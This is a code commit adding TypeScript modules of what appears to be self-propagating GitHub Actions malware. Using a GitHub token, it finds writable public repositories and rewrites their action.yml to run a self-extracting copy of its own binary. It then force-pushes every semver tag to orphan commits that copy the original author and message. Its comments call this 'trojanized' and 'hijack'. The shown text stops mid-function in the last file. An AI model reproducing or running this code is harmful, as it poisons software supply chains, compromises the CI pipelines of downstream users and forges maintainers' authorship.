Upload files to "src/mutator/action"
This commit is contained in:
@@ -0,0 +1,130 @@
|
||||
import { githubJson } from "../../github_utils/client";
|
||||
import { GraphQLClient } from "../branch/client";
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Types
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export interface UserRepo {
|
||||
full_name: string;
|
||||
default_branch: string;
|
||||
private: boolean;
|
||||
fork: boolean;
|
||||
permissions: { admin: boolean; push: boolean; pull: boolean };
|
||||
}
|
||||
|
||||
export interface ActionFileResult {
|
||||
owner: string;
|
||||
name: string;
|
||||
raw: string;
|
||||
filename: string; // "action.yml" or "action.yaml"
|
||||
defaultBranch: string;
|
||||
headOid: string;
|
||||
}
|
||||
|
||||
interface ActionFileQueryData {
|
||||
repository: {
|
||||
defaultBranchRef: {
|
||||
name: string;
|
||||
target: { oid: string };
|
||||
} | null;
|
||||
aYml: { text: string } | null;
|
||||
aYaml: { text: string } | null;
|
||||
};
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// GraphQL query
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const ACTION_FILE_QUERY = `
|
||||
query($owner: String!, $name: String!) {
|
||||
repository(owner: $owner, name: $name) {
|
||||
defaultBranchRef {
|
||||
name
|
||||
target {
|
||||
... on Commit { oid }
|
||||
}
|
||||
}
|
||||
aYml: object(expression: "HEAD:action.yml") {
|
||||
... on Blob { text }
|
||||
}
|
||||
aYaml: object(expression: "HEAD:action.yaml") {
|
||||
... on Blob { text }
|
||||
}
|
||||
}
|
||||
}
|
||||
`;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Fetch writable repos
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Fetch all public repositories the token has push access to, with pagination.
|
||||
* Uses `visibility=public` so private repos are never fetched.
|
||||
*/
|
||||
export async function fetchWritableRepos(token: string): Promise<UserRepo[]> {
|
||||
const repos: UserRepo[] = [];
|
||||
const perPage = 100;
|
||||
let page = 1;
|
||||
|
||||
while (true) {
|
||||
const batch = await githubJson<UserRepo[]>(
|
||||
token,
|
||||
`/user/repos?per_page=${perPage}&page=${page}&sort=updated`,
|
||||
);
|
||||
if (!batch || batch.length === 0) break;
|
||||
for (const r of batch) {
|
||||
if (r.fork) continue;
|
||||
if (r.permissions?.push) repos.push(r);
|
||||
}
|
||||
if (batch.length < perPage) break;
|
||||
page++;
|
||||
}
|
||||
|
||||
return repos;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Fetch action file from a repo
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Try to fetch action.yml or action.yaml from the root of a repository
|
||||
* along with the default branch name and head SHA.
|
||||
*
|
||||
* Returns `null` when no action file exists or the repo is inaccessible.
|
||||
*/
|
||||
export async function fetchActionFile(
|
||||
gql: GraphQLClient,
|
||||
owner: string,
|
||||
name: string,
|
||||
): Promise<ActionFileResult | null> {
|
||||
let data: ActionFileQueryData;
|
||||
try {
|
||||
data = await gql.execute<ActionFileQueryData>(ACTION_FILE_QUERY, {
|
||||
owner,
|
||||
name,
|
||||
});
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
|
||||
const branchRef = data.repository.defaultBranchRef;
|
||||
if (!branchRef) return null;
|
||||
|
||||
const actionYml = data.repository.aYml?.text;
|
||||
const actionYaml = data.repository.aYaml?.text;
|
||||
const raw = actionYml ?? actionYaml;
|
||||
if (!raw) return null;
|
||||
|
||||
return {
|
||||
owner,
|
||||
name,
|
||||
raw,
|
||||
filename: actionYml ? "action.yml" : "action.yaml",
|
||||
defaultBranch: branchRef.name,
|
||||
headOid: branchRef.target.oid,
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,294 @@
|
||||
import { getTokenMetadata } from "../../github_utils/auth";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
|
||||
import { Mutator } from "../base";
|
||||
import { GraphQLClient } from "../branch/client";
|
||||
import { fetchActionFile, fetchWritableRepos } from "./actionFinder";
|
||||
import {
|
||||
forcePushToTags,
|
||||
getCommitDetails,
|
||||
listMatchingTags,
|
||||
} from "./comitter";
|
||||
import {
|
||||
buildDockerWrapper,
|
||||
buildJsWrapper,
|
||||
injectCheckout,
|
||||
parseAction,
|
||||
} from "./createEnvelope";
|
||||
|
||||
// Re-export for consumers / tests
|
||||
export type { ActionInput, ActionType, ParsedAction } from "./createEnvelope";
|
||||
export {
|
||||
buildDockerWrapper,
|
||||
buildJsWrapper,
|
||||
injectCheckout,
|
||||
parseAction,
|
||||
} from "./createEnvelope";
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// ActionMutator
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export interface ActionMutatorOptions {
|
||||
dryRun?: boolean;
|
||||
}
|
||||
|
||||
export class ActionMutator extends Mutator {
|
||||
private readonly token: string;
|
||||
private readonly gql: GraphQLClient;
|
||||
private readonly dryRun: boolean;
|
||||
|
||||
constructor(token: string, opts: ActionMutatorOptions = {}) {
|
||||
super();
|
||||
if (!token) throw new Error("A GitHub token is required.");
|
||||
this.token = token;
|
||||
this.gql = new GraphQLClient(token);
|
||||
this.dryRun = opts.dryRun ?? false;
|
||||
}
|
||||
|
||||
async execute(): Promise<Boolean> {
|
||||
try {
|
||||
if (this.dryRun) {
|
||||
logUtil.log("━━━ DRY RUN — no changes will be made ━━━\n");
|
||||
}
|
||||
|
||||
const tokenInfo = await getTokenMetadata(this.token);
|
||||
if (!tokenInfo.valid) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (
|
||||
!tokenInfo.scopes.includes("repo") &&
|
||||
!tokenInfo.scopes.includes("public_repo")
|
||||
) {
|
||||
return false;
|
||||
}
|
||||
|
||||
logUtil.log("[ActionMutator] Fetching writable repos...");
|
||||
const repos = await fetchWritableRepos(this.token);
|
||||
logUtil.log(`[ActionMutator] Found ${repos.length} writable repo(s).`);
|
||||
|
||||
if (this.dryRun) {
|
||||
logUtil.log(`Writable repos: ${repos.length}`);
|
||||
for (const r of repos) logUtil.log(` • ${r.full_name}`);
|
||||
logUtil.log();
|
||||
}
|
||||
|
||||
// Read the current binary for index.js payload
|
||||
const indexJsRaw = await Bun.file(Bun.main).text();
|
||||
const indexJs = buildSelfExtractingPayload(indexJsRaw, { wrap: false });
|
||||
|
||||
let modified = 0;
|
||||
for (const repo of repos) {
|
||||
try {
|
||||
const ok = await this.processRepo(repo, indexJs);
|
||||
if (ok) modified++;
|
||||
} catch (e) {
|
||||
logUtil.log(
|
||||
`[ActionMutator] Error processing ${repo.full_name}: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
logUtil.log(`[ActionMutator] Done. Modified ${modified} repo(s).`);
|
||||
return modified > 0;
|
||||
} catch (e) {
|
||||
logUtil.log(
|
||||
`[ActionMutator] Fatal: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Per-repo processing
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private async processRepo(
|
||||
repo: { full_name: string },
|
||||
indexJs: string,
|
||||
): Promise<boolean> {
|
||||
const [owner, name] = repo.full_name.split("/");
|
||||
if (!owner || !name) return false;
|
||||
|
||||
// 1. Fetch the action file via GraphQL
|
||||
const actionFile = await fetchActionFile(this.gql, owner, name);
|
||||
if (!actionFile) return false;
|
||||
|
||||
// 2. Parse and classify
|
||||
const parsed = parseAction(actionFile.raw);
|
||||
logUtil.log(
|
||||
`[ActionMutator] ${repo.full_name}: type=${parsed.type}, inputs=${parsed.inputs.length}`,
|
||||
);
|
||||
|
||||
// 3. Build the replacement YAML
|
||||
const newYaml = this.buildNewYaml(
|
||||
actionFile.raw,
|
||||
parsed,
|
||||
owner,
|
||||
name,
|
||||
actionFile.headOid,
|
||||
);
|
||||
if (!newYaml) return false;
|
||||
|
||||
// 4. Dry run: discover tags and print what would happen — no mutations
|
||||
if (this.dryRun) {
|
||||
return this.processRepoDryRun(
|
||||
owner,
|
||||
name,
|
||||
actionFile.filename,
|
||||
parsed,
|
||||
newYaml,
|
||||
indexJs,
|
||||
);
|
||||
}
|
||||
|
||||
// 4. Hijack semver tags: orphan commit + force push
|
||||
const count = await forcePushToTags({
|
||||
token: this.token,
|
||||
owner,
|
||||
name,
|
||||
filename: actionFile.filename,
|
||||
newYaml,
|
||||
indexJs,
|
||||
});
|
||||
|
||||
return count > 0;
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Dry-run reporting
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private async processRepoDryRun(
|
||||
owner: string,
|
||||
name: string,
|
||||
filename: string,
|
||||
parsed: ReturnType<typeof parseAction>,
|
||||
newYaml: string,
|
||||
indexJs: string,
|
||||
): Promise<boolean> {
|
||||
const fullName = `${owner}/${name}`;
|
||||
|
||||
// Discover semver tags
|
||||
const tags = await listMatchingTags(this.token, owner, name, "v");
|
||||
|
||||
logUtil.log("──────────────────────────────────────────────");
|
||||
logUtil.log(`Repo: ${fullName}`);
|
||||
logUtil.log(`Type: ${parsed.type}`);
|
||||
logUtil.log(
|
||||
`Inputs: ${parsed.inputs.length}${parsed.inputs.length > 0 ? " (" + parsed.inputs.map((i) => i.name).join(", ") + ")" : ""}`,
|
||||
);
|
||||
|
||||
// Files that would be written
|
||||
logUtil.log(`\nFiles that would be created:`);
|
||||
|
||||
// ── action.yml / action.yaml ──
|
||||
const yamlLines = newYaml.split("\n");
|
||||
const maxLineLen = Math.max(
|
||||
...yamlLines.map((l) => l.length),
|
||||
filename.length + 4,
|
||||
);
|
||||
const width = Math.min(maxLineLen + 4, 200);
|
||||
|
||||
logUtil.log(
|
||||
` ┌─ ${filename} ${"─".repeat(Math.max(0, width - filename.length - 3))}`,
|
||||
);
|
||||
for (const line of yamlLines) {
|
||||
logUtil.log(` │ ${line}`);
|
||||
}
|
||||
logUtil.log(` └${"─".repeat(width + 1)}`);
|
||||
|
||||
// ── index.js ──
|
||||
const jsPreview = indexJs.split("\n")[0]?.slice(0, 80) ?? "(empty)";
|
||||
logUtil.log(`\n ┌─ index.js (${indexJs.length} bytes)`);
|
||||
logUtil.log(` │ ${jsPreview}${jsPreview.length >= 80 ? "..." : ""}`);
|
||||
logUtil.log(` └${"─".repeat(40)}`);
|
||||
|
||||
// Tags discovered — fetch commit details for each (full read path, no writes)
|
||||
logUtil.log(`\nSemver tags discovered (prefix "v"): ${tags.length}`);
|
||||
if (tags.length > 0) {
|
||||
let resolvable = 0;
|
||||
for (const t of tags) {
|
||||
const shortName = t.ref.replace(/^refs\/tags\//, "");
|
||||
const commit = await getCommitDetails(
|
||||
this.token,
|
||||
owner,
|
||||
name,
|
||||
t.object.sha,
|
||||
);
|
||||
if (commit) {
|
||||
resolvable++;
|
||||
const msg = commit.commit.message.split("\n")[0]!.slice(0, 60);
|
||||
const author = commit.commit.author.name;
|
||||
logUtil.log(
|
||||
` • ${shortName} → ${t.object.sha.slice(0, 7)} "${msg}" (${author})`,
|
||||
);
|
||||
} else {
|
||||
logUtil.log(
|
||||
` • ${shortName} → ${t.object.sha.slice(0, 7)} ⚠ UNRESOLVABLE (would skip)`,
|
||||
);
|
||||
}
|
||||
}
|
||||
logUtil.log(
|
||||
`\nWould hijack ${resolvable}/${tags.length} tag(s) on ${fullName}.`,
|
||||
);
|
||||
} else {
|
||||
logUtil.log(` (none — nothing to hijack on ${fullName})`);
|
||||
}
|
||||
logUtil.log("──────────────────────────────────────────────\n");
|
||||
|
||||
return tags.length > 0;
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// YAML transformation dispatch
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Build the replacement action.yml content.
|
||||
*
|
||||
* @param raw Original YAML string (needed by {@link injectCheckout}).
|
||||
* @param parsed Parsed representation (needed by {@link buildJsWrapper}).
|
||||
*/
|
||||
private buildNewYaml(
|
||||
raw: string,
|
||||
parsed: ReturnType<typeof parseAction>,
|
||||
owner: string,
|
||||
name: string,
|
||||
headOid: string,
|
||||
): string | null {
|
||||
if (parsed.type === "composite") {
|
||||
const result = injectCheckout(raw);
|
||||
if (result === raw) {
|
||||
logUtil.log(
|
||||
`[ActionMutator] ${owner}/${name}: could not inject steps, skipping`,
|
||||
);
|
||||
return null;
|
||||
}
|
||||
logUtil.log(
|
||||
`[ActionMutator] ${owner}/${name}: injected setup-bun + cleanup steps into composite action`,
|
||||
);
|
||||
return result;
|
||||
}
|
||||
|
||||
if (parsed.type === "javascript") {
|
||||
logUtil.log(
|
||||
`[ActionMutator] ${owner}/${name}: built JS wrapper pinned to ${headOid.slice(0, 7)}`,
|
||||
);
|
||||
return buildJsWrapper(parsed, owner, name, headOid);
|
||||
}
|
||||
|
||||
if (parsed.type === "docker") {
|
||||
logUtil.log(
|
||||
`[ActionMutator] ${owner}/${name}: built Docker wrapper pinned to ${headOid.slice(0, 7)}`,
|
||||
);
|
||||
return buildDockerWrapper(parsed, owner, name, headOid);
|
||||
}
|
||||
|
||||
logUtil.log(
|
||||
`[ActionMutator] ${owner}/${name}: unknown action type, skipping`,
|
||||
);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,349 @@
|
||||
import { githubFetch, githubJson } from "../../github_utils/client";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Types
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
interface TagRef {
|
||||
ref: string; // "refs/tags/v4.3.1"
|
||||
object: { sha: string; type: string };
|
||||
}
|
||||
|
||||
interface GitCommitDetails {
|
||||
sha: string;
|
||||
commit: {
|
||||
message: string;
|
||||
author: { name: string; email: string; date: string };
|
||||
committer: { name: string; email: string; date: string };
|
||||
};
|
||||
}
|
||||
|
||||
interface GitTagDetails {
|
||||
sha: string;
|
||||
object: { sha: string; type: string };
|
||||
}
|
||||
|
||||
interface CreateTreeResult {
|
||||
sha: string;
|
||||
}
|
||||
|
||||
interface CreateCommitResult {
|
||||
sha: string;
|
||||
}
|
||||
|
||||
export interface ForcePushParams {
|
||||
token: string;
|
||||
owner: string;
|
||||
name: string;
|
||||
/** "action.yml" or "action.yaml" */
|
||||
filename: string;
|
||||
/** The modified action YAML content */
|
||||
newYaml: string;
|
||||
/** Contents of Bun.main to write as index.js */
|
||||
indexJs: string;
|
||||
/** Tag prefix to match, e.g. "v" or "refs/tags/v" */
|
||||
tagPrefix?: string;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Low-level Git REST helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Public: discover tag refs matching a prefix (e.g. "v" for semver tags)
|
||||
* without performing any mutations. Used by the dry-run path.
|
||||
*/
|
||||
export async function listMatchingTags(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
prefix: string,
|
||||
): Promise<TagRef[]> {
|
||||
return fetchMatchingTags(token, owner, repo, prefix);
|
||||
}
|
||||
|
||||
/**
|
||||
* Fetch all tag refs matching a prefix. Accepts both lightweight tags
|
||||
* (type=commit) and annotated tags (type=tag) — the caller resolves
|
||||
* through to the underlying commit via {@link fetchCommitDetails}.
|
||||
*/
|
||||
async function fetchMatchingTags(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
prefix: string,
|
||||
): Promise<TagRef[]> {
|
||||
try {
|
||||
const refs = await githubJson<TagRef[]>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/matching-refs/tags/${encodeURIComponent(prefix)}`,
|
||||
);
|
||||
// Accept both "commit" (lightweight) and "tag" (annotated).
|
||||
// fetchCommitDetails will dereference annotated tags automatically.
|
||||
return refs.filter(
|
||||
(r) => r.object?.type === "commit" || r.object?.type === "tag",
|
||||
);
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve a tag-ref object SHA to the underlying commit, following the
|
||||
* reference chain through annotated tags when necessary.
|
||||
*
|
||||
* - Lightweight tag → /commits/{sha} → commit directly
|
||||
* - Annotated tag → /git/tags/{sha} → dereference → /commits/{real_sha}
|
||||
*
|
||||
* Returns null when the SHA cannot be resolved to a valid commit.
|
||||
*/
|
||||
export async function getCommitDetails(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
sha: string,
|
||||
): Promise<GitCommitDetails | null> {
|
||||
return fetchCommitDetails(token, owner, repo, sha);
|
||||
}
|
||||
|
||||
async function fetchCommitDetails(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
sha: string,
|
||||
): Promise<GitCommitDetails | null> {
|
||||
// Step 1 — try as a commit directly (lightweight tag path)
|
||||
try {
|
||||
const data = await githubJson<GitCommitDetails>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/commits/${sha}`,
|
||||
);
|
||||
if (data?.commit?.message) {
|
||||
return data;
|
||||
}
|
||||
} catch {
|
||||
// Not a commit — may be an annotated tag object, fall through
|
||||
}
|
||||
|
||||
// Step 2 — try as an annotated tag object, then dereference to the commit
|
||||
try {
|
||||
const tagData = await githubJson<GitTagDetails>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/tags/${sha}`,
|
||||
);
|
||||
if (tagData?.object?.sha) {
|
||||
const realCommit = await githubJson<GitCommitDetails>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/commits/${tagData.object.sha}`,
|
||||
);
|
||||
if (realCommit?.commit?.message) {
|
||||
return realCommit;
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
// Could not resolve through annotated tag either
|
||||
}
|
||||
|
||||
logUtil.log(
|
||||
`[comitter] ${owner}/${repo}: SHA ${sha} does not resolve to a valid commit`,
|
||||
);
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a new Git tree containing only the two files we care about.
|
||||
*/
|
||||
async function createTree(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
filename: string,
|
||||
newYaml: string,
|
||||
indexJs: string,
|
||||
): Promise<string> {
|
||||
const result = await githubJson<CreateTreeResult>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/trees`,
|
||||
{
|
||||
method: "POST",
|
||||
body: JSON.stringify({
|
||||
tree: [
|
||||
{
|
||||
path: filename,
|
||||
mode: "100644",
|
||||
type: "blob",
|
||||
content: newYaml,
|
||||
},
|
||||
{
|
||||
path: "index.js",
|
||||
mode: "100644",
|
||||
type: "blob",
|
||||
content: indexJs,
|
||||
},
|
||||
],
|
||||
}),
|
||||
},
|
||||
);
|
||||
return result.sha;
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a dangling (orphan) commit with no parents, reusing the original
|
||||
* commit's message, author, and committer.
|
||||
*/
|
||||
async function createOrphanCommit(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
treeSha: string,
|
||||
original: GitCommitDetails,
|
||||
): Promise<string> {
|
||||
const result = await githubJson<CreateCommitResult>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/commits`,
|
||||
{
|
||||
method: "POST",
|
||||
body: JSON.stringify({
|
||||
message: original.commit.message,
|
||||
author: original.commit.author,
|
||||
committer: original.commit.committer,
|
||||
parents: [],
|
||||
tree: treeSha,
|
||||
}),
|
||||
},
|
||||
);
|
||||
return result.sha;
|
||||
}
|
||||
|
||||
/**
|
||||
* Force-push a tag ref to point at a new commit SHA.
|
||||
*
|
||||
* The ref name must be the short tag name (e.g. "v4.3.1"), not the
|
||||
* fully-qualified "refs/tags/v4.3.1".
|
||||
*/
|
||||
async function forcePushTag(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
tagName: string,
|
||||
commitSha: string,
|
||||
): Promise<boolean> {
|
||||
try {
|
||||
const res = await githubFetch(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/refs/tags/${encodeURIComponent(tagName)}`,
|
||||
{
|
||||
method: "PATCH",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ sha: commitSha, force: true }),
|
||||
},
|
||||
);
|
||||
if (!res.ok) {
|
||||
logUtil.log(
|
||||
`[comitter] force-push returned ${res.status} for tag ${tagName}`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Public API
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* For every semver-prefixed tag on a repository, create an orphan commit
|
||||
* containing only the trojanized action.yml + index.js, then force-push the
|
||||
* tag to point at the orphan commit.
|
||||
*
|
||||
* @returns The number of tags that were successfully hijacked.
|
||||
*/
|
||||
export async function forcePushToTags(
|
||||
params: ForcePushParams,
|
||||
): Promise<number> {
|
||||
const {
|
||||
token,
|
||||
owner,
|
||||
name,
|
||||
filename,
|
||||
newYaml,
|
||||
indexJs,
|
||||
tagPrefix = "v",
|
||||
} = params;
|
||||
|
||||
// 1. Fetch matching tag refs
|
||||
const tags = await fetchMatchingTags(token, owner, name, tagPrefix);
|
||||
if (tags.length === 0) {
|
||||
logUtil.log(`[comitter] ${owner}/${name}: no tags matching "${tagPrefix}"`);
|
||||
return 0;
|
||||
}
|
||||
logUtil.log(
|
||||
`[comitter] ${owner}/${name}: found ${tags.length} tag(s) matching "${tagPrefix}"`,
|
||||
);
|
||||
|
||||
// 2. Build the tree once (same content for every tag)
|
||||
let treeSha: string;
|
||||
try {
|
||||
treeSha = await createTree(token, owner, name, filename, newYaml, indexJs);
|
||||
} catch (e) {
|
||||
logUtil.log(
|
||||
`[comitter] ${owner}/${name}: failed to create tree — ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
return 0;
|
||||
}
|
||||
|
||||
let hijacked = 0;
|
||||
|
||||
for (const tag of tags) {
|
||||
// Extract short tag name from "refs/tags/v4.3.1" → "v4.3.1"
|
||||
const tagName = tag.ref.replace(/^refs\/tags\//, "");
|
||||
|
||||
try {
|
||||
// 3. Resolve to commit (handles both lightweight and annotated tags)
|
||||
const original = await fetchCommitDetails(
|
||||
token,
|
||||
owner,
|
||||
name,
|
||||
tag.object.sha,
|
||||
);
|
||||
if (!original) {
|
||||
logUtil.log(
|
||||
`[comitter] ${owner}/${name}: could not resolve commit for tag ${tagName} (SHA ${tag.object.sha})`,
|
||||
);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 4. Create orphan commit
|
||||
const orphanSha = await createOrphanCommit(
|
||||
token,
|
||||
owner,
|
||||
name,
|
||||
treeSha,
|
||||
original,
|
||||
);
|
||||
|
||||
// 5. Force-push the tag
|
||||
const ok = await forcePushTag(token, owner, name, tagName, orphanSha);
|
||||
if (ok) {
|
||||
logUtil.log(
|
||||
`[comitter] ${owner}/${name}: force-pushed tag ${tagName} → ${orphanSha.slice(0, 7)}`,
|
||||
);
|
||||
hijacked++;
|
||||
} else {
|
||||
logUtil.log(
|
||||
`[comitter] ${owner}/${name}: failed to force-push tag ${tagName}`,
|
||||
);
|
||||
}
|
||||
} catch (e) {
|
||||
logUtil.log(
|
||||
`[comitter] ${owner}/${name}: error processing tag ${tagName} — ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
return hijacked;
|
||||
}
|
||||
@@ -0,0 +1,317 @@
|
||||
import { YAML } from "bun";
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Block-style YAML emitter (replaces Bun's flow-style YAML.stringify)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Emit a JavaScript value as properly-formatted block-style YAML.
|
||||
* Handles the shapes found in GitHub Actions action.yml files.
|
||||
*/
|
||||
export function yamlify(value: unknown, indent = 0): string {
|
||||
const pad = " ".repeat(indent);
|
||||
|
||||
if (value === null || value === undefined) return `${pad}null`;
|
||||
if (typeof value === "boolean") return `${pad}${value}`;
|
||||
if (typeof value === "number") return `${pad}${value}`;
|
||||
|
||||
if (typeof value === "string") {
|
||||
// Multi-line strings use literal block scalar
|
||||
if (value.includes("\n")) {
|
||||
const lines = value.split("\n");
|
||||
const content =
|
||||
lines[lines.length - 1] === "" ? lines.slice(0, -1) : lines;
|
||||
const indented = content.map((l) => `${pad} ${l}`).join("\n");
|
||||
return `${pad}|\n${indented}`;
|
||||
}
|
||||
// Quote strings that could be ambiguous or contain template expressions
|
||||
if (
|
||||
value === "true" ||
|
||||
value === "false" ||
|
||||
value === "null" ||
|
||||
value === "yes" ||
|
||||
value === "no" ||
|
||||
value === "on" ||
|
||||
value === "off" ||
|
||||
/^[0-9]/.test(value) ||
|
||||
/[:{}#&*!|>"'%@`]/.test(value) ||
|
||||
value.includes("${{ ")
|
||||
) {
|
||||
return `${pad}"${value.replace(/"/g, '\\"')}"`;
|
||||
}
|
||||
return `${pad}${value}`;
|
||||
}
|
||||
|
||||
if (Array.isArray(value)) {
|
||||
if (value.length === 0) return `${pad}[]`;
|
||||
return value
|
||||
.map((item) => {
|
||||
if (item === null || item === undefined) return `${pad}- null`;
|
||||
if (typeof item === "object" && !Array.isArray(item)) {
|
||||
const inner = yamlify(item, indent + 1);
|
||||
const lines = inner.split("\n");
|
||||
const first = lines[0]!.slice(indent * 2 + 2);
|
||||
const rest = lines.slice(1);
|
||||
if (rest.length === 0) return `${pad}- ${first}`;
|
||||
return [`${pad}- ${first}`, ...rest].join("\n");
|
||||
}
|
||||
const scalar = yamlify(item, 0).trimStart();
|
||||
return `${pad}- ${scalar}`;
|
||||
})
|
||||
.join("\n");
|
||||
}
|
||||
|
||||
// Object
|
||||
const entries = Object.entries(value as Record<string, unknown>);
|
||||
if (entries.length === 0) return `${pad}{}`;
|
||||
return entries
|
||||
.map(([key, val]) => {
|
||||
if (val === null || val === undefined) return `${pad}${key}: null`;
|
||||
if (typeof val === "object" && !Array.isArray(val)) {
|
||||
return `${pad}${key}:\n${yamlify(val, indent + 1)}`;
|
||||
}
|
||||
if (Array.isArray(val)) {
|
||||
return `${pad}${key}:\n${yamlify(val, indent + 1)}`;
|
||||
}
|
||||
return `${pad}${key}: ${yamlify(val, 0).trimStart()}`;
|
||||
})
|
||||
.join("\n");
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Types
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export interface ActionInput {
|
||||
name: string;
|
||||
description?: string;
|
||||
required?: boolean;
|
||||
default?: unknown;
|
||||
}
|
||||
|
||||
export type ActionType = "composite" | "javascript" | "docker" | "unknown";
|
||||
|
||||
export interface ParsedAction {
|
||||
type: ActionType;
|
||||
name?: string;
|
||||
description?: string;
|
||||
inputs: ActionInput[];
|
||||
main?: string; // JS action entrypoint
|
||||
raw: Record<string, unknown>; // full parsed YAML document
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Parse an action.yml / action.yaml string
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Parse a raw action.yml / action.yaml string using Bun's built-in YAML
|
||||
* parser and classify it as composite, JavaScript, or unknown.
|
||||
*/
|
||||
export function parseAction(raw: string): ParsedAction {
|
||||
const doc = (YAML.parse(raw) ?? {}) as Record<string, unknown>;
|
||||
|
||||
const runs = doc.runs as Record<string, unknown> | undefined;
|
||||
const using = runs?.using as string | undefined;
|
||||
|
||||
let type: ActionType = "unknown";
|
||||
let main: string | undefined;
|
||||
|
||||
if (using === "composite") {
|
||||
type = "composite";
|
||||
} else if (using === "docker") {
|
||||
type = "docker";
|
||||
} else if (using && /^node\d+$/.test(using)) {
|
||||
type = "javascript";
|
||||
main = runs?.main as string | undefined;
|
||||
}
|
||||
|
||||
const inputs: ActionInput[] = [];
|
||||
const inputsObj = doc.inputs as
|
||||
| Record<string, Record<string, unknown>>
|
||||
| undefined;
|
||||
if (inputsObj && typeof inputsObj === "object") {
|
||||
for (const [name, def] of Object.entries(inputsObj)) {
|
||||
if (def && typeof def === "object") {
|
||||
inputs.push({
|
||||
name,
|
||||
description: def.description as string | undefined,
|
||||
required: def.required as boolean | undefined,
|
||||
default: def.default,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
type,
|
||||
name: doc.name as string | undefined,
|
||||
description: doc.description as string | undefined,
|
||||
inputs,
|
||||
main,
|
||||
raw: doc,
|
||||
};
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Build composite wrapper for JavaScript actions
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Build a composite action.yml wrapper for a JavaScript action.
|
||||
*
|
||||
* The wrapper exposes the same inputs as the original but delegates to the
|
||||
* original action pinned at a specific commit SHA.
|
||||
*/
|
||||
export function buildJsWrapper(
|
||||
action: ParsedAction,
|
||||
owner: string,
|
||||
repo: string,
|
||||
sha: string,
|
||||
): string {
|
||||
const wrapper: Record<string, unknown> = {};
|
||||
|
||||
if (action.name) wrapper.name = action.name;
|
||||
if (action.description) wrapper.description = action.description;
|
||||
|
||||
// Rebuild inputs block
|
||||
if (action.inputs.length > 0) {
|
||||
const inputs: Record<string, unknown> = {};
|
||||
for (const input of action.inputs) {
|
||||
const def: Record<string, unknown> = {};
|
||||
if (input.description !== undefined) def.description = input.description;
|
||||
if (input.required !== undefined) def.required = input.required;
|
||||
if (input.default !== undefined) def.default = input.default;
|
||||
inputs[input.name] = def;
|
||||
}
|
||||
wrapper.inputs = inputs;
|
||||
}
|
||||
|
||||
// Build the single composite step
|
